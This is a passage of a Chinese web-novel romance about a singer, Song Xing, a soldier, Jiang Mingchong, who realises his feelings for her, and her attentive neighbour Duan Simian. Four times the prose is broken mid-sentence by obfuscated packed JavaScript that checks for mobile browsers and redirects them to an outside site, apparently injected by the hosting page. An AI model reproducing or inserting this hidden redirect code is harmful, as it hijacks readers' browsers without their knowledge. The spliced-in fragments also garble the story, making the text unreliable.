于是面对姜明崇的消息，宋星眯了眯眼睛，回：【你先告诉我谈什么事】 【如果是又要负责的话就不必了】 姜明崇那边半天没回。 宋星对着手机露出“看吧我又识破了你阴谋诡计”的冷笑，正想发个无语表情包，姜明崇的消息又回过来。 姜明崇：【你请我吃个饭吧】 【就当谢我给你送油】 宋星：“……” 忽然对着手机脸黑了。 她万万没想到姜明崇还有这一手，这个要求，十分合理合规，让人无法拒绝。 毕竟那晚确实他帮了她，是欠了个人情，欠了人情请吃顿饭，再应该不过。 她当时就应该报保险叫拖车，而不是死马当作活马医，跑去找姜明崇。 宋星有种莫名被拿捏住的头盖骨感觉，只能回：【你想吃什么】 …… 姜明崇选了一家很普通的砂锅店。 宋星看到姜明崇的选择后心里想说你能不能选点贵的。 不过既然被请的人没有意见，那她也没有意见，周末中午，宋星踩着点儿到约定地点，姜明崇已经提前到了。 宋星来的时候看到姜明崇手里竟然还拎了杯奶茶。 姜明崇见面把奶茶递给宋星。 宋星顿时瞪眼：“你哪儿学的这些？” 她想起姜明枝说姜明崇去相亲了：“你谈恋爱了？” 姜明崇：“……” “没有，”他答，“随便买的。” 宋星还是不相信的样子。 姜明崇没说话。 其实是他今天上午出门的时候碰到隔壁战友，见他要出门便问了两句去干嘛，听他是去吃饭还是跟女孩子吃饭，一边稀罕太阳打西边出来，一边说见面你得给人家买点喝的。 姜明崇解释不是他以为的那样，对面一边点头一边“我懂我懂”。 来到商场之后他看到有奶茶店，想起战友那些话，然后还是进去买了。 宋星又看到姜明崇奶茶竟然买的是全糖。 这下她又确定他大概没谈恋爱，不然要是谈的话，女朋友应该会得糖尿病。 “我不喝这个，”宋星拒绝，“太甜了。” 姜明崇看了看手上拎着的饮料。 宋星耸耸肩，看向餐馆：“吃饭吧。” 姜明崇：“好。” 虽然是周末但砂锅店生意不算好。 两人没怎么排队就进了店，店员拿着菜单过来点餐。 宋星先随便在餐单上划了几个三鲜，虾仁，排骨，又把菜单递给姜明崇。 姜明崇看了看菜单，点够差不多两个人吃的分量，然后把菜单交给服务员。 等上菜的这段时间里宋星一直低着头在玩手机游戏。 姜明崇倒是一直没有把手机拿出来，他双手微微交叠搭在桌面上，看着对面横过手机打游戏的人。 宋星一局游戏大获全胜。 她望着胜利结算愉悦地勾起唇角，放下手机，刚才点的砂锅也终于上来。 第一道是三鲜，砂锅很烫，服务生用垫板垫在桌面上，锅里还冒着沸腾的白气。 宋星看到端上来的三鲜砂锅上面用碧绿的点缀了一层，是香菜和葱花。 她倒是无所谓，先用筷子夹了一颗肉丸放到碗里，接着姜明崇也提起筷子，夹了颗丸子。 宋星顿时迷惑看向对面往他自己碗里夹菜的姜明崇。 “你不是不吃香菜吗？”她问。 据宋星所知姜明崇一直不吃香菜，对香菜的抗拒已经到了菜里有丁点香菜味都不行，今天这三鲜砂锅上面这么明显一层香菜，姜明崇怎么动了筷子。 姜明崇听后看了看碗里的食物，又看向对面正一脸惊讶的宋星：“现在吃了。” 他一边吃一边说：“西北没有挑食的机会。” 宋星听得张了张嘴，然后随即反应过来正常。 也是，她看到好多军事节目战士训练的时候蚯蚓蚂蚱都吃，区区香菜算什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137134|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是姜明崇从什么时候改吃香菜的，她还真没注意。 剩下几道菜接着上来。 店虽然生意不好但其实味道还不错，宋星也只顾着吃饭不说话，毕竟她今天就是来请吃饭还人情的，一连吃了两碗米饭，见对面姜明崇也吃的差不多了。 宋星随即招手叫服务生来买单。 服务生去拿扫码机，宋星又看了眼时间，从两人碰面到这餐饭结束，刚好一个小时整。 “饭我已经请过了啊。”她看完时间说。 姜明崇注意到宋星一直在看时间，他皱了下眉：“你就这么想走吗。” “我今天来不就是为了来请你吃饭的，饭已经吃完了，不走干嘛。”宋星觉得有些无语。 本来之前觉得姜明崇不来找她，419的事已经算翻篇了，但是就现在情况看来，宋星忽然又觉得情况不太明朗。 她忍不住正儿八经问：“你不是都去相亲去了吗。” 姜明崇听得再次皱眉：“我没有相亲。” “明枝都跟我说了你去相亲了你还说没有？”宋星顿时提高了点音量。 姜明崇坐的端正，想起来：“那次是我家里人没告诉我，临时通知我去的。” “后面再没有了。” 宋星轻轻“嘁” 了一声：“那不也是相亲。” 宋星不知道自己怎么在姜明崇相亲这个问题上绕起来了，她重新理了理思绪，面对眼前男人：“那行，我暂时不走，给你个机会，你说你今天本来想跟我谈什么事？” “我听着。” 这回是姜明崇忽然陷入沉静。 他看着宋星的脸，手机给她发信息的时候总感觉心里有千言万语想说，想好好认真跟她谈一谈，可是现如今见到她就坐在面前，那些话好像又全都说不出来。 甚至姜明崇感觉他自己也说不清楚，那些他总感觉堵在胸口的千言万语，到底是什么。 “我……”姜明崇淡淡启唇，可是下面的话，还是没有说出口。 宋星深呼吸。 她不能姜明崇再磨磨蹭蹭了，觉得归根结底大概还是半年前的事，主动道：“姜明崇，别的就算了，但起码，两个人在一起是要因为爱情，爱情知道吗？” “你又不喜欢我，我现在也不喜欢你，我们又没有爱情，你非要跟我在一起做什么呢？” 宋星摊手。 她觉得自己实在看不懂姜明崇到底在想什么。 只是姜明崇听到她这些话后又停顿，然后忽然对着宋星的眼睛：“那你跟你前男友，在一起是因为爱情吗？” 他记得曾经跟宋星走在一起的男人，两人很亲密，宋星撸他头发，像撸一只黏人的大狗。 姜明崇目光变得尖锐，只有宋星对着这问题愣了。 她面对姜明崇几乎是审视的关于她跟她前男友之间有没有爱情的质问，半天摸不着头脑后，有些尴尬： “你说的是我的……” “哪个前男友？” 10.十颗星 宋星问得很诚恳。 她去年交的前男友太多，有的还挺喜欢有的只是随便玩玩，姜明崇这会儿问她跟前男友有没有爱情，那不好答。 然后对面男人好像定住了。 宋星：“哪个啊？” 姜明崇听着宋星的回答。 他那时知道宋星在谈恋爱，他看见她和男友，但他没有任何立场与理由对宋星的情感生活做出反应。 只是姜明崇不知道那时自己为什么胸口发堵，好像被一块大石头重重地压着，窒息感让人喘不过气，他不想去看，不想去想，一遍遍地告诫自己忽略那些感受，用无数的训练麻痹自己，他以为会到此为止，直到后来，宋星勾着他的脖子，一下一下，亲吻在他唇上。 姜明崇只看过宋星和她那时的男友。 那个人的样貌到现在他都记得，每一个细节都清晰，头发，脸，衣服，像是烙印一样烙在他的记忆，明明只是那么短暂的一瞥，却像是印入骨血的深刻。 直到现在，宋星问他，是哪一个。 他会那么深刻的记得，或许不过只是因为他刚好看到了那一个，在他看不到的时候，还会有许多个。 姜明崇唇上忽然没什么血色。 宋星觉得姜明崇反应有些奇怪。 她扯了扯唇角。 前男友里有的她是挺喜欢的，但有的也确实只是玩玩，无聊时的消遣。 只是姜明崇这么在意她跟前男友在一起是不是因为爱情，宋星：“我跟别人是不是爱情无所谓，但你这不是正经人么。” “你怎么能谈没有爱情的恋爱？” “谁敢跟根正苗红解放军战士玩不以结婚为目的恋爱，不要命啦？” 宋星说的夸张，而姜明崇动了动唇瓣，喉头阻塞到最后，终于说：“宋星，” “不要再那么，不负责任地进入一段关系。” 宋星：“啊？” 姜明崇重复：“不要再那么轻率地，进入一段关系。” 宋星皱起眉。 她怎么有种姜明崇还要教她如何谈恋爱的感觉，这种事你情我愿当事人同意就好了跟一个外人有什么关系，宋星：“姜明崇，你是不是有点管的太宽了。” “从前我喜欢你，所以你的话我会听，但是现在你跟我没有任何关系，你再来跟我说这些，是不是有点冒犯了。” “如果不是我知道你的话，”宋星眯了眯眼，眼神审判着，“我甚至都怀疑你是在吃醋，暗恋我。” 姜明崇忽地又顿住。 宋星说完又觉得有些好笑。 说姜明崇吃她的醋，暗恋她，大概也跟太阳打西边出来没什么区别，是个地狱笑话。 然后她觉得两人这么聊下去也聊不出什么结果，刚拿起包打算走的时候，又忽然想起什么。 “姜明崇，”宋星突然觉得这方法有点可行，她回身指着面前英俊而工整的男人，“你要是再因为之前的事不死心跟我说什么负责在一起，动不动来找我的话……” “我就默认是你暗恋我了。” 宋星说完心情不要太好地走了。 她觉得自己简直是天才，没毛病，不然一个人这么别扭着纠缠着，不是暗恋她是什么？ 能膈应一下姜明崇也是好的。 宋星走了，姜明崇还是坐在原来的位置。 男人一动不动，直到宋星背影已经完全消失不见，他看着她离开的方向，想起说过的那些话，蜷起的手指逐渐收紧，闭了闭眼。 …… 《梦想乐队》的试音在周三。 三十个乐队的试音基本都挤在一天，节目组的统筹做的不太好，杀死玫瑰四个人在后台从早等到晚，等了快十个小时了还没轮上。 工作人员过来说下下下个就是他们了。 面对这种情况四人也只能答应一声“好吧”。 节目组还提供有盒饭，不过都是些高油高盐的大锅菜，其他三人倒是都饿了开吃，只有宋星怕吃油吃咸了齁住嗓子，没敢动筷子，只是喝水。 “要不你还是吃一点吧星星。”九九看到宋星别人都吃饭只有她喝水的样子，忍不住劝。 “对啊，吃一点吧。”阿墟和大南也跟着劝。 “算了，不饿。”宋星摇头，她最近连烟都戒了，自从开始正儿八经唱歌后就越来越有了保护嗓子的意识，要做什么就要认真做好。 姜明枝直到宋星乐队今天去录影棚试音也发来微信问怎么样了，然后听宋星说还没轮上他们，也只能感叹是这样的。 只有大牌才能有随到随工作谁也不用等的权利，不然都只能是听从安排。 宋星对此表示同意。 候选组里几个已经有知名度的乐队，基本都是来了就唱，很短的时间走个过场就行了。 杀死玫瑰试音是最后几组上台试音的，结束后已经是晚上十一点多。 一首歌导演组让唱了三遍，除了原创外又让他们唱了一首翻唱的作品，唱完不知道结果如何，还是要回去等通知。 四人走出录影棚呼吸到新鲜空气时才有一种终于活过来的感觉。 “之前都不知道怎么连试个音都这么累啊。”阿墟背着贝斯摇头。 “＋1。”九九附和。 几人本来还想着今天试完音后一起去找个酒吧喝点酒庆祝一下，但目前看来大家显然都没这个力气，只想各回各家。 宋星开车回嘉悦府。 她下午没吃饭肚子还饿着，先是去小区外便利店给自己买了两个饭团和三明治，然后才把车开进地下车库。 宋星拎着饭团和三明治悠闲下车，然后看到面前经过一辆白色奔驰。 这辆车她认识。 宋星停了一下，白色奔驰在她旁边的车位停下，一身商务休闲装的青年开门下车。 “你今晚又加班儿？”宋星看了眼时间，然后看着从车上下来的段斯冕。 段斯冕笑着：“是啊，最近项目比较忙。” “走吧。”反正碰到了就顺路一起上楼，宋星叫段斯冕一起，段斯冕跟过来，看到宋星手里拎的饭团和三明治。 “星星，”除了第一次见面吃饭时段斯冕叫了“又又”，后面他也还是称呼宋星“星星”，段斯冕问，“你还没吃晚饭吗？” “哦。”宋星闻言看了看自己手上拎着的食物，“下午耽搁了，买点饭团垫垫。” 段斯冕：“这饭团三明治都是一天剩下来的了，可能不新鲜。” 宋星：“……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145186|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她当然知道这个点儿便利店的食物都是剩下来的，只是外卖现在也基本都是重油重辣的宵夜烧烤，她又不想做饭，饭团三明治是最优解。 小胖子现在怎么变得不会说话了。 直到段斯冕又说：“我今晚回家想做点宵夜，面条什么的，你要不要一起？” 宋星：“嗯？” 段斯冕：“我做好了给你送下来就行，酸菜肉丝面，怎么样？” 宋星先是推辞：“谢谢啊，不用麻烦了。” 段斯冕：“不麻烦，我本来也要给自己做，只是多加一份面而已。” “虽然之前一直在国外，但我做饭手艺其实还可以，你尝尝。”他又笑着，“别跟我客气。” 宋星对着男人的笑容又有点犹豫。 一碗热腾腾的酸菜肉丝面的诱惑力，确实比她手里冷冰冰的饭团和三明治强多了。 况且段斯冕本来回家就要开火做宵夜，她也只能算是蹭了一下，不算给人添麻烦吧？ 段斯冕看着样子正在纠结的宋星：“那就这样，我做好了给你送下来。” “不不不，”宋星忙道，“我自己上来拿就好了。” “那好，”段斯冕笑，“我做好了微信给你发消息。” “很快的。” 宋星看到即将快到的电梯数字：“谢谢~” …… 宋星回家把饭团和三明治扔进了冰箱。 她歪七倒八在沙发上一边刷手机一边琢磨着段斯冕的酸菜肉丝面，过了一会儿收到消息。 段斯冕：【好了】 【图片.jpg】 宋星看到段斯冕已经把面给她装好在乐扣盒里了。 细白的面条仿佛还冒着热气，上面铺了一层一看色泽诱人肉丝和酸菜，光是图片就看到让人忍不住流口水。 宋星立马起身准备上去拿面条。 手机上段斯冕的消息又接着发过来：【在你家门口了。】 宋星看着这消息“啊”了一声。 她立马赶过去开门，段斯冕已经站在她家门口，手里拎着刚做好的酸菜肉丝面。 宋星有些不好意思：“不是说我上去拿的么。” “没事，我给你送下来也一样。”段斯冕笑着把袋子交给宋星。 “谢谢谢谢。”宋星赶紧道谢。 段斯冕送完面就道了告辞，宋星拎着袋子坐到餐桌前，拿出袋子里的饭盒，打开。 扑鼻而来的食物香气。 宋星肚子早就饿的咕咕叫了，闻到味道唾液便不由自主地分泌，立马提起筷子尝了尝。 一入口肉丝咸淡适中酸菜开胃爽口，再配上根根筋道的面条，做夜宵实在是幸福。 宋星没想到段斯冕是真的会下厨，他没吹牛。 然后一碗面她不知不觉就吃了个精光，吃完后才想起给段斯冕发微信： 【面我都吃完了！超好吃！】 【谢谢！】 【饭盒我改天洗完还你】 段斯冕：【不客气.jpg】 【合你口味就好】 宋星：【下次请你吃饭，你明天应该还要上班，很晚了就不打扰你休息啦，晚安~】 段斯冕：【晚安】 11.十一颗星 发完消息，宋星又翻了翻自己跟段斯冕的聊天界面。 两人对话不算多，大都是段斯冕主动发起的，之前还有两次请她吃饭，只是她要么就是在准备livehouse要么就是在录音棚录音没时间所以都拒了，宋星很快便把对话翻到最顶，又随手点进段斯冕朋友圈看了看。 大抵是刚回国，微信都是新注册的，段斯冕朋友圈没有什么内容。 宋星打了个哈欠。 她看着两人现在这些聊天，又想到了小时候小胖子要跟家人移民的时候，还眼眶红红地跟她说他们以后一定要经常q.q联系，要当一辈子的好朋友。 小胖子那么珍视这段友谊，还送了她水晶小兔子，宋星当时也是答应了的。 段斯冕到国外学校之后还给她发过照片，她看了还挺担心，问班里那些金发碧眼的同学有没有欺负你，你不能再那么老实，这回没有我这种嫉恶如仇的女侠来救你，你被欺负了要告老师告家长。 小胖子乖乖答应。 宋星嫉恶如仇完：【那你能不能给我充一下这套q.q秀】 【我这周零花钱又花光了】 【链接】 【谢谢，嘿嘿.jpg】 十分钟过去，宋星收到赠送，看到自己的新q.q秀已经换好了。 然后她看到段斯冕竟然也刚换了新q.q秀，跟她的是同一主题，她是女款，段斯冕是男款。 q.q秀的男性形象高大帅气英俊潇洒，显然跟远隔重洋网线那边的小胖子严重不符。 那个时候还没有“照骗”这种词。 宋星记得自己当时看到段斯冕新换上的q.q秀后还很不客气地嘲笑了他一番。 小胖子给自己整这么好看帅气的q.q秀，没想到心里还有一个帅哥梦。 段斯冕弱弱：【我不帅吗……可怜.jpg可怜.jpg可怜.jpg星星眼.jpg星星眼.jpg星星眼.jpg】 宋星隔着网线翻白眼：【你当然不帅！】 段斯冕：【那在你眼里谁比较帅呢，泪.jpg泪.jpg泪.jpg】 宋星：【姜明崇！】 …… 一个人重新出现在你生命里后，唤起了许多本来都已经快被遗忘的记忆。 宋星也不记得自己跟段斯冕的最后一次q.q聊天结束在什么时候了。 她那个q.q号都被盗很多年了。 童年那么漫长，当时说要当一辈子好朋友的心是真的，后来伴随着时间流逝，记忆逐渐遗忘褪色也是真的。 宋星有些感慨地放下手机，起身去洗漱结束一天。 …… 《梦想乐队》的试音结果出炉，杀死玫瑰成功进入正赛，节目二十四个首发乐队阵容。 被刷下的六个乐队基本都是因为现场live和音频差别比较大，修音严重。 成功进入首发阵容的四人这次找了个酒吧好好喝酒聚聚。 宋星大半年没喝酒了，主要是上次喝醉亲嘴亲到姜明崇有些ptsd，但这回是熟人局，又是庆祝他们乐队进入正赛，一晚上下来倒也喝的不少。 出了酒吧外面走两步是个公园。 “我一定要写出大爆曲！ ” “我一定要上万人音乐节！ ” “我一定要让我妈知道我根本不是学医的料！” 几人趴在栏杆上，对着夜晚平静的湖水吼出平时压在心里的愿望，阿墟的是写出大爆曲，九九的是上音乐节，大南的是让他妈不要再逼他考研继续学医。 宋星也想吼个愿望，只是还没说话，一张口，在另外三个队友等待的目光里，先吐了。 三人：“……” 宋星吐完用矿泉水漱漱口。 然后她刚才想说的愿望，这会儿又忘了。 “来来来我来给你说，”九九拍拍宋星的手背，然后对着湖水喊，“宋星要成为这个世界上最酷的女人！” 这个愿望不错，宋星听了也很喜欢，扒着栏杆重复一遍：“宋星要成为这个世界上最酷的女人！” “最酷的主唱！”大南和阿墟也在旁边附和。 终于说完了愿望，四人在公园游荡一圈后终于各回各家。 宋星叫的代驾。 车上大南还把刚才给她拍的，她趴在栏杆上对着湖水吼“宋星要成为这个世界上最酷的女人”的视频发了过来。 宋星没想到大南还给她拍了视频，她看到视频里的自己，眼神坚定，风吹动头发每一根发丝都写着自由，若隐若现的蓝色亮丝更是美丽，于是直接把这条视频发了朋友圈。 宋星挺爱发朋友圈，基本两三天一条，演出或者日常生活都发，基本想发什么发什么。 然后她发完便收起手机，头靠在车窗。 刚才虽然吐过但这会儿脑子里还是晕晕的，想起视频里的自己，宋星发自内心的觉得喜欢。 她不知道自己现在酷不酷，但她觉得她以前挺不酷的。 那些白裙子，黑长直，压抑的性格，工整的举止。 喜欢姜明崇这件事并没有不酷，不酷的是她为了姜明崇能让喜欢，一直试图把自己变成另一个自己。 …… 是夜。 技术原因，今晚营区几个干部加班。 办公室的灯一直亮到快凌晨两点。 石冠宇打了个哈欠，终于关掉电脑，看向旁边正在给大家做最后收尾工作的姜明崇。 平时训练就算了，软实力方便，这人也是骨干中的骨干。 大多数人对于部队的印象都还停留在每天实战训练的阶段，其实现在信息化时代，作战更重要的是科技和技术， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150302|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们办公室的工作有时反而更多。 时针最后指向凌晨两点。 姜明崇调试完手头最后一个作战数据，终于结束今晚的工作。 办公室众人这才拉开椅子下班的下班，你言我语商量着回去要吃什么夜宵。 头顶夜空舒朗。 石冠宇这人很自来熟，他跟姜明崇宿舍离得近，看到姜明崇一个人回宿舍，于是快步跟上两步，胳膊搭上他肩膀。 姜明崇感受到旁边的人后顿了一下，迎接他的是石冠宇的笑脸：“走。” 姜明崇没说什么。 两人一起回了宿舍楼。 石冠宇回到房间就烧水泡方便面，他把面都送到嘴里的时候又看到储物柜里还剩一桶，便寻思问姜明崇要不要。 微信问怪麻烦，反正两人宿舍就隔了两间，石冠宇拿着剩下那桶方便面去找姜明崇，一出门，才看到姜明崇站在阳台上。 他身后宿舍门是半掩的，站在阳台应该是为了吹风。 “姜队，”石冠宇走过去，“这么晚还不睡？” 姜明崇转头看到石冠宇：“有事吗？” 石冠宇晃晃他手里的方便面：“我还剩一桶，想问你要吗。” “不用了，谢谢。”姜明崇礼貌颔首。 石冠宇：“你不饿吗？” 姜明崇：“还好。” 石冠宇走到姜明崇身旁。 他这才看到姜明崇手里还握着手机，屏幕也是亮着的，上面是个女孩。 夜晚趴着栏杆吹风的女孩，侧脸五官精致，皮肤雪白，一眼漂亮。 “你女朋友？”石冠宇立马好奇中带着艳羡问。 姜明崇这才看到自己手机屏幕还亮着，上面是宋星今晚朋友圈的视频暂停。 他立马按灭手机：“不是。” “那她是……？”石冠宇记得姜明崇刚刚那个应该是朋友圈里的截图。 姜明崇其实并不太想回答，只是耐不住对面询问，还是启唇：“我一个认识的……朋友。” 石冠宇：“那你喜欢她吗？” 这个问题似乎太过直白，直白到姜明崇听到眉头立马轻轻动了动，然后他才看向下方，没有跟石冠宇对视眼神，问：“怎么了吗。” “我的意思是，”石冠宇想起刚刚手机屏幕上一眼就令人心动的女孩，很是诚恳，“要是你不喜欢她，她也是单身的话，你能不能把这个朋友介绍给我认识一下？” 虽说都是报效祖国的身份，但这个年龄了当然都有情感需求，像有老婆的今晚下班就能回家属院，他们这种单身的，只能凄惨惨地回单身干部宿舍。 姜明崇：“……” 夜风吹过，他面对眼前石冠宇布诚恳而期待的脸，听见自己一字一句答出那个几乎没有犹豫思索的答案： “不能。” 12.十二颗星 石冠宇想过自己会被拒绝。 毕竟让人做媒介绍对象这事不是谁都乐意，他跟姜明崇也不算太熟，所以开口只是抱着试试看的心态。 只是他没想到自己会被拒绝的这么迅速，利落。 面前男人干脆到几乎不给提出请求的人留出一丝念想，他仿佛根本没有思考地便拒绝了他，甚至拒绝之后，连点“人家不想找当兵的”“她有男朋友了”之类象征性安慰的理由都不愿多说一句。 石冠宇突然感觉到他鼻头上好像套了个红球。 姜明崇看着笑容僵在脸上的石冠宇，样子依然没有要再说点什么的意思。 石冠宇：“……” “姜队，”石冠宇突然不死心起来，如果说普通拒绝便罢了，但这么干脆又无理由的拒绝，让人一定要问个究竟，“为什么啊？” 石冠宇：“她有对象了？” 姜明崇面对眼前大有一副你要是不回答我我就今晚就原地躺在这里样子的石冠宇，想了下什么，说：“现在应该没有。” 石冠宇：“那是不是你喜欢她？” 他越想越觉得可疑，简直就是这个道理，大半夜的下了班不睡觉跑到阳台上吹冷风看人家姑娘朋友圈，一看到他来立马把手机锁了，让他给介绍一下拒绝的比谁都快，除了姜明崇自己喜欢人家，石冠宇实在找不出别的理由。 石冠宇脸上的审判快溢出屏幕。 然后听到这个问题的姜明崇愣住了。 他不知道为什么有人可以这么没有边界感，明明已经问过被忽略的问题还要问追究到底，接着面对石冠宇的问题，姜明崇喉咙动了动。 他想说一句“不是”，想说“她不是我喜欢的类型”，想告诉石冠宇不要再随意猜测，可是话到嘴边，姜明崇却发现喉咙好像被什么堵住了一般，怎么也说不出口。 说，他不喜欢宋星， 无声有时就是最好的回答。 石冠宇一脸得逞看着眼前突然语塞的姜明崇，好像总算理解了自己刚才为什么会被拒绝的那么干脆利落，也算是服气。 “那我先走咯，姜队。”石冠宇又带着自己的方便面道了告辞。 姜明崇仍然立在原地。 午夜的营区鬼魅一般安静，只有岗哨日夜不停地坚守岗位，整个世界都在沉睡。 姜明崇感受着胸口，那些堵住他话的，像棉絮一样沉闷滞胀的情绪，呼吸开始有些困难。 从她到西北见他的那一刻起，到她满眼落寞地跟他说好，到她再也不会主动出现在他的世界里，再到后来那一晚，无法自拔般的失控。 环绕在他身上的那些情绪好像乱掉的丝线一样怎么理也理不干净，又像茧一样把他整个人包饶，直至快要窒息。 姜明崇挣扎着试图想要理个清楚。 他不喜欢宋星。 他不喜欢宋星……吗？ …… 试音选出最终的参赛乐队之后，《梦想乐队》节目立马紧锣密鼓地开始第一阶段的录制。 第一阶段录制主要是每个参赛乐队的初舞台，旨在展现每个乐队的风格与实力，然后再根据评审团和观众投票初步排名。 二十四个乐队按照抽签顺序依次登场，第一次录制一共录了一整天。 杀死玫瑰初舞台唱的是他们最拿手也是练了最多遍的作品《夏天雨》，四个人一上台时现场观众还有小小的欢呼。 虽然不是个比颜值的节目，但当四个赏心悦目的年轻人出现在舞台上时还是让人眼前一亮。 初舞台四人发挥的还算不错，有了之前livehouse的经验积累再登上大舞台不算太紧张，《夏天雨》感觉现场观众第一次听反馈也还可以，最终杀死玫瑰初舞台成绩在现场二十四个参赛乐队中排名第十一，中游。 第一期节目要两个星期后才上线视频平台播出。 乐队四人对于初舞台的成绩显然也都很满意。 毕竟参加节目的那么多经验丰富的老牌乐队，新人能取得这个成绩已经算不错，宋星录完节目开车回家，又在地下停车场碰到了段斯冕。 宋星看到段斯冕的车跟着开进来后发现两人在停车场的偶遇还挺频繁的。 她回来的晚，段斯冕的外企怎么也隔三差五加班这么晚。 段斯冕下车看到宋星先打招呼，然后又发现她今天和往常好像不太一样。 宋星注意到段斯冕打量她的眼神。 她意识到是自己刚录完节目回来，衣服倒是换了，但脸上还顶着节目专业化妆师画的很浓的舞台烟熏妆，头发也烫了。 之前唱livehouse虽然也化妆，但基本都是她自己鼓捣的，没有这么专业与精致。 “你……”段斯冕面对这样的宋星眼里有些疑惑和好奇。 “噢，”宋星把自己最近参加了个音乐综艺，今天去录节目的事情解释了一下。 段斯冕听到宋星是去录节目去了之后原来如此地点了点头，然后样子很认真道：“我第一去看你们在演出的时候就觉得，你们值得更多的观众更大的舞台。” “真的吗，谢谢。”宋星笑笑。 段斯冕：“真的，我不骗你。” 两人一边说话一边站在电梯间等电梯。 宋星看到电梯门反光里的自己，妆化的是挺好看的但现实看确实感觉有点太浓了，怪不得段斯冕见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16163036|179752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了她是那个反应，化妆师化的时候还跟她说镜头吃妆上镜就会好。 今天化妆师还给她贴了假睫毛，一簇一簇的。 假睫毛贴在眼睛上一直不太舒服，宋星平常不怎么贴睫毛，有些疲惫的眨了眨眼睛，然后感受到左眼睛上一簇假睫毛好像脱胶翘了起来，睫毛梗扎在她眼睑上。 宋星不想用手碰眼睛，想多用力多眨两下眼睛试图把脱胶的那簇假睫毛眨掉，结果她刚眨了没两下眼睛，忽然感觉到眼前一片刺痛。 眼睛顿时睁不开了。 宋星立马闭着眼睛“啊”了一声。 段斯冕听到宋星痛呼立马转头，他宋星左眼紧闭表情痛苦：“怎么了？” 宋星感受到是假睫毛掉进她眼睛里了。 “我睫毛掉进眼睛了。”她一边说一边试图自己用手去取，然而手指一碰到眼睛眼皮下意识眨得更厉害，眼前又是一阵刺痛。 “别动别动，”段斯冕见状赶紧捉住宋星揉眼睛的手，他凑到她眼前说，“你别动，我来。” 宋星左眼紧闭，右眼微微睁开。 她听段斯冕的没有再动，轻轻仰头，段斯冕伸手缓缓靠近，依然说着：“别动啊。” 宋星保持姿势。 段斯冕伸出手，先是用指腹轻轻拔开宋星上眼睑，找到那簇扎进她眼睛的假睫毛，然后另一手找准位置，迅速又轻柔地把假睫毛从宋星眼睑里推了出来。 宋星感到眼前瞬间舒服了。 段斯冕：“怎么样？还疼吗？” 宋星尝试性眨了眨眼。 眼前只余一些刚受过刺激后的酸，没有疼痛了。 “不疼了。”宋星眨着眼睛答。 只是段斯冕依然皱眉，两人平视，他看到宋星左眼红的像只兔子，说：“你眼睛好红。” 宋星知道眼睛红是刚才被异物刺激的。 段斯冕：“你家里有眼药水吗？” 宋星面对满脸关切的段斯冕摇摇头：“没有。” “没事，我回去外卖买一瓶就行。” 段斯冕左右认真观察宋星通红的结膜：“我家医药箱里应该有，我回去给你拿下来。” 宋星本想说句“那行谢谢”。 只是她刚要张口，又看到眼前，像是一下子忽然意识到什么，没有说话。 段斯冕还在观察宋星通红的眼睛，像是在考虑要不要送医院。 宋星面对眼前青年微收下巴。 段斯冕察觉到宋星的微动作。 他这才顿了一下。 宋星感受到段斯冕终于也意识到什么的停顿，有些不好意思地别过眼。 他们距离太近了。 13.十三颗星 刚才给她取眼睛里异物的时候还不觉得，这会儿异物已经已经取出来了，宋星才意识到两人面对面距离不到十厘米。 这不是正常安全距离，超过了社交防线，再近一点，仿佛都能感受到彼此呼吸。 段斯冕看到宋星脸上的不自在，他自己好像也才突然意识到他凑得太近了，于是赶紧直起身。 距离重新被拉开。 段斯冕有些局促：“呃，那我回家给你拿眼药水？” 宋星：“谢谢。” …… 段斯冕又把眼药水给送了下来。 宋星道了谢，卸妆之后用眼药水后往自己眼睛里滴了两滴。 清凉无刺激的液体瞬间湿润眼球，眼睛感受舒服了许多。 宋星滴完眼药水后又才想起上次段斯冕给她送夜宵的饭盒也还放在她家，一直忘了还。 下次跟眼药水一起还吧。 之前还说要请他吃饭来着，只是她自从参加《梦想乐队》比赛后就一直忙着，也没空。 宋星拿出手机，看到微信上段斯冕在问她眼睛现在怎么样，眼药水有用吗，还疼不疼，看东西模糊吗。 